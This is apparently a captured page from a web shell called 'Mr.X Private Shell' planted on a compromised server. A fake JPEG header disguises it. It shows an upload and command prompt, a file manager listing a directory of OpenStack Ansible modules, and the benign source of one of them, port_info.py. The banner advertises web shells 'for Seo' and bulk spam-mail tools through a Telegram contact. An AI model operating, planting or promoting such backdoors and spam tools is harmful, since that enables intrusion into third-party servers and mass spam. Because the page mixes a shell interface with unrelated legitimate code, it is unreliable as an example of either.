����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# Copyright (c) 2016 IBM
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

DOCUMENTATION = '''
module: port_info
short_description: Retrieve information about ports within OpenStack.
author: OpenStack Ansible SIG
description:
    - Retrieve information about ports from OpenStack.
    - This module was called C(openstack.cloud.port_facts) before Ansible 2.9, returning C(ansible_facts).
      Note that the M(openstack.cloud.port_info) module no longer returns C(ansible_facts)!
options:
    port:
        description:
            - Unique name or ID of a port.
        type: str
    filters:
        description:
            - A dictionary of meta data to use for further filtering. Elements
              of this dictionary will be matched against the returned port
              dictionaries. Matching is currently limited to strings within
              the port dictionary, or strings within nested dictionaries.
        type: dict
requirements:
    - "python >= 3.6"
    - "openstacksdk"

extends_documentation_fragment:
- openstack.cloud.openstack
'''

EXAMPLES = '''
# Gather information about all ports
- openstack.cloud.port_info:
    cloud: mycloud
  register: result

- debug:
    msg: "{{ result.openstack_ports }}"

# Gather information about a single port
- openstack.cloud.port_info:
    cloud: mycloud
    port: 6140317d-e676-31e1-8a4a-b1913814a471

# Gather information about all ports that have device_id set to a specific value
# and with a status of ACTIVE.
- openstack.cloud.port_info:
    cloud: mycloud
    filters:
      device_id: 1038a010-3a37-4a9d-82ea-652f1da36597
      status: ACTIVE
'''

RETURN = '''
openstack_ports:
    description: List of port dictionaries. A subset of the dictionary keys
                 listed below may be returned, depending on your cloud provider.
    returned: always, but can be null
    type: complex
    contains:
        admin_state_up:
            description: The administrative state of the router, which is
                         up (true) or down (false).
            returned: success
            type: bool
            sample: true
        allowed_address_pairs:
            description: A set of zero or more allowed address pairs. An
                         address pair consists of an IP address and MAC address.
            returned: success
            type: list
            sample: []
        "binding:host_id":
            description: The UUID of the host where the port is allocated.
            returned: success
            type: str
            sample: "b4bd682d-234a-4091-aa5b-4b025a6a7759"
        "binding:profile":
            description: A dictionary the enables the application running on
                         the host to pass and receive VIF port-specific
                         information to the plug-in.
            returned: success
            type: dict
            sample: {}
        "binding:vif_details":
            description: A dictionary that enables the application to pass
                         information about functions that the Networking API
                         provides.
            returned: success
            type: dict
            sample: {"port_filter": true}
        "binding:vif_type":
            description: The VIF type for the port.
            returned: success
            type: dict
            sample: "ovs"
        "binding:vnic_type":
            description: The virtual network interface card (vNIC) type that is
                         bound to the neutron port.
            returned: success
            type: str
            sample: "normal"
        device_id:
            description: The UUID of the device that uses this port.
            returned: success
            type: str
            sample: "b4bd682d-234a-4091-aa5b-4b025a6a7759"
        device_owner:
            description: The UUID of the entity that uses this port.
            returned: success
            type: str
            sample: "network:router_interface"
        dns_assignment:
            description: DNS assignment information.
            returned: success
            type: list
        dns_name:
            description: DNS name
            returned: success
            type: str
            sample: ""
        extra_dhcp_opts:
            description: A set of zero or more extra DHCP option pairs.
                         An option pair consists of an option value and name.
            returned: success
            type: list
            sample: []
        fixed_ips:
            description: The IP addresses for the port. Includes the IP address
                         and UUID of the subnet.
            returned: success
            type: list
        id:
            description: The UUID of the port.
            returned: success
            type: str
            sample: "3ec25c97-7052-4ab8-a8ba-92faf84148de"
        ip_address:
            description: The IP address.
            returned: success
            type: str
            sample: "127.0.0.1"
        mac_address:
            description: The MAC address.
            returned: success
            type: str
            sample: "00:00:5E:00:53:42"
        name:
            description: The port name.
            returned: success
            type: str
            sample: "port_name"
        network_id:
            description: The UUID of the attached network.
            returned: success
            type: str
            sample: "dd1ede4f-3952-4131-aab6-3b8902268c7d"
        port_security_enabled:
            description: The port security status. The status is enabled (true) or disabled (false).
            returned: success
            type: bool
            sample: false
        security_groups:
            description: The UUIDs of any attached security groups.
            returned: success
            type: list
        status:
            description: The port status.
            returned: success
            type: str
            sample: "ACTIVE"
        tenant_id:
            description: The UUID of the tenant who owns the network.
            returned: success
            type: str
            sample: "51fce036d7984ba6af4f6c849f65ef00"
'''

from ansible_collections.openstack.cloud.plugins.module_utils.openstack import OpenStackModule


class NetworkPortInfoModule(OpenStackModule):
    argument_spec = dict(
        port=dict(required=False),
        filters=dict(type='dict', required=False),
    )
    module_kwargs = dict(
        supports_check_mode=True
    )

    deprecated_names = ('openstack.cloud.port_facts')

    def run(self):
        port = self.params.get('port')
        filters = self.params.get('filters')

        ports = self.conn.search_ports(port, filters)
        self.exit_json(changed=False, openstack_ports=ports)


def main():
    module = NetworkPortInfoModule()
    module()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
address_scope.py File 5.98 KB 0644
auth.py File 1.33 KB 0644
baremetal_inspect.py File 4.19 KB 0644
baremetal_node.py File 15.53 KB 0644
baremetal_node_action.py File 12.65 KB 0644
baremetal_node_info.py File 21.74 KB 0644
baremetal_port.py File 11.64 KB 0644
baremetal_port_info.py File 6.83 KB 0644
catalog_service.py File 5.12 KB 0644
coe_cluster.py File 8.7 KB 0644
coe_cluster_template.py File 12.24 KB 0644
compute_flavor.py File 7.71 KB 0644
compute_flavor_info.py File 7.79 KB 0644
compute_service_info.py File 3.56 KB 0644
config.py File 1.97 KB 0644
container.py File 5.92 KB 0644
dns_zone.py File 6.98 KB 0644
dns_zone_info.py File 5.16 KB 0644
endpoint.py File 6.34 KB 0644
federation_idp.py File 6.31 KB 0644
federation_idp_info.py File 2.21 KB 0644
federation_mapping.py File 5.18 KB 0644
federation_mapping_info.py File 2.15 KB 0644
floating_ip.py File 12.14 KB 0644
floating_ip_info.py File 6.12 KB 0644
group_assignment.py File 2.29 KB 0644
host_aggregate.py File 7.21 KB 0644
identity_domain.py File 4.71 KB 0644
identity_domain_info.py File 3.13 KB 0644
identity_group.py File 4.18 KB 0644
identity_group_info.py File 4.1 KB 0644
identity_role.py File 2.66 KB 0644
identity_role_info.py File 2.23 KB 0644
identity_user.py File 7.86 KB 0644
identity_user_info.py File 4.27 KB 0644
image.py File 8.77 KB 0644
image_info.py File 5.72 KB 0644
keypair.py File 4.44 KB 0644
keypair_info.py File 3.8 KB 0644
keystone_federation_protocol.py File 5.1 KB 0644
keystone_federation_protocol_info.py File 2.57 KB 0644
lb_health_monitor.py File 11.11 KB 0644
lb_listener.py File 8.93 KB 0644
lb_member.py File 6.71 KB 0644
lb_pool.py File 8.1 KB 0644
loadbalancer.py File 24.92 KB 0644
network.py File 8.03 KB 0644
networks_info.py File 4 KB 0644
neutron_rbac_policies_info.py File 8.27 KB 0644
neutron_rbac_policy.py File 10.53 KB 0644
object.py File 3.4 KB 0644
object_container.py File 5.92 KB 0644
os_auth.py File 1.33 KB 0644
os_client_config.py File 1.97 KB 0644
os_coe_cluster.py File 8.7 KB 0644
os_coe_cluster_template.py File 12.24 KB 0644
os_flavor_info.py File 7.79 KB 0644
os_floating_ip.py File 12.14 KB 0644
os_group.py File 4.18 KB 0644
os_group_info.py File 4.1 KB 0644
os_image.py File 8.77 KB 0644
os_image_info.py File 5.72 KB 0644
os_ironic.py File 15.53 KB 0644
os_ironic_inspect.py File 4.19 KB 0644
os_ironic_node.py File 12.65 KB 0644
os_keypair.py File 4.44 KB 0644
os_keystone_domain.py File 4.71 KB 0644
os_keystone_domain_info.py File 3.13 KB 0644
os_keystone_endpoint.py File 6.34 KB 0644
os_keystone_federation_protocol.py File 5.1 KB 0644
os_keystone_federation_protocol_info.py File 2.57 KB 0644
os_keystone_identity_provider.py File 6.31 KB 0644
os_keystone_identity_provider_info.py File 2.21 KB 0644
os_keystone_mapping.py File 5.18 KB 0644
os_keystone_mapping_info.py File 2.15 KB 0644
os_keystone_role.py File 2.66 KB 0644
os_keystone_service.py File 5.12 KB 0644
os_listener.py File 8.93 KB 0644
os_loadbalancer.py File 24.92 KB 0644
os_member.py File 6.71 KB 0644
os_network.py File 8.03 KB 0644
os_networks_info.py File 4 KB 0644
os_nova_flavor.py File 7.71 KB 0644
os_nova_host_aggregate.py File 7.21 KB 0644
os_object.py File 3.4 KB 0644
os_pool.py File 8.1 KB 0644
os_port.py File 16.46 KB 0644
os_port_info.py File 6.78 KB 0644
os_project.py File 6.33 KB 0644
os_project_access.py File 6.08 KB 0644
os_project_info.py File 4.51 KB 0644
os_quota.py File 15.99 KB 0644
os_recordset.py File 7.73 KB 0644
os_router.py File 21.82 KB 0644
os_routers_info.py File 5.55 KB 0644
os_security_group.py File 4.25 KB 0644
os_security_group_rule.py File 12.07 KB 0644
os_server.py File 26.5 KB 0644
os_server_action.py File 8.84 KB 0644
os_server_group.py File 4.12 KB 0644
os_server_info.py File 2.66 KB 0644
os_server_metadata.py File 4.84 KB 0644
os_server_volume.py File 3.67 KB 0644
os_stack.py File 7.76 KB 0644
os_subnet.py File 12.55 KB 0644
os_subnets_info.py File 4.51 KB 0644
os_user.py File 7.86 KB 0644
os_user_group.py File 2.29 KB 0644
os_user_info.py File 4.27 KB 0644
os_user_role.py File 5.65 KB 0644
os_volume.py File 7.8 KB 0644
os_volume_snapshot.py File 4.86 KB 0644
os_zone.py File 6.98 KB 0644
port.py File 16.46 KB 0644
port_info.py File 6.78 KB 0644
project.py File 6.33 KB 0644
project_access.py File 6.08 KB 0644
project_info.py File 4.51 KB 0644
quota.py File 15.99 KB 0644
recordset.py File 7.73 KB 0644
role_assignment.py File 5.65 KB 0644
router.py File 21.82 KB 0644
routers_info.py File 5.55 KB 0644
security_group.py File 4.25 KB 0644
security_group_info.py File 5.8 KB 0644
security_group_rule.py File 12.07 KB 0644
security_group_rule_info.py File 7.71 KB 0644
server.py File 26.5 KB 0644
server_action.py File 8.84 KB 0644
server_group.py File 4.12 KB 0644
server_info.py File 2.66 KB 0644
server_metadata.py File 4.84 KB 0644
server_volume.py File 3.67 KB 0644
stack.py File 7.76 KB 0644
stack_info.py File 2.44 KB 0644
subnet.py File 12.55 KB 0644
subnet_pool.py File 10.99 KB 0644
subnets_info.py File 4.51 KB 0644
volume.py File 7.8 KB 0644
volume_backup.py File 6.26 KB 0644
volume_backup_info.py File 2.9 KB 0644
volume_info.py File 3.65 KB 0644
volume_snapshot.py File 4.86 KB 0644
volume_snapshot_info.py File 3.43 KB 0644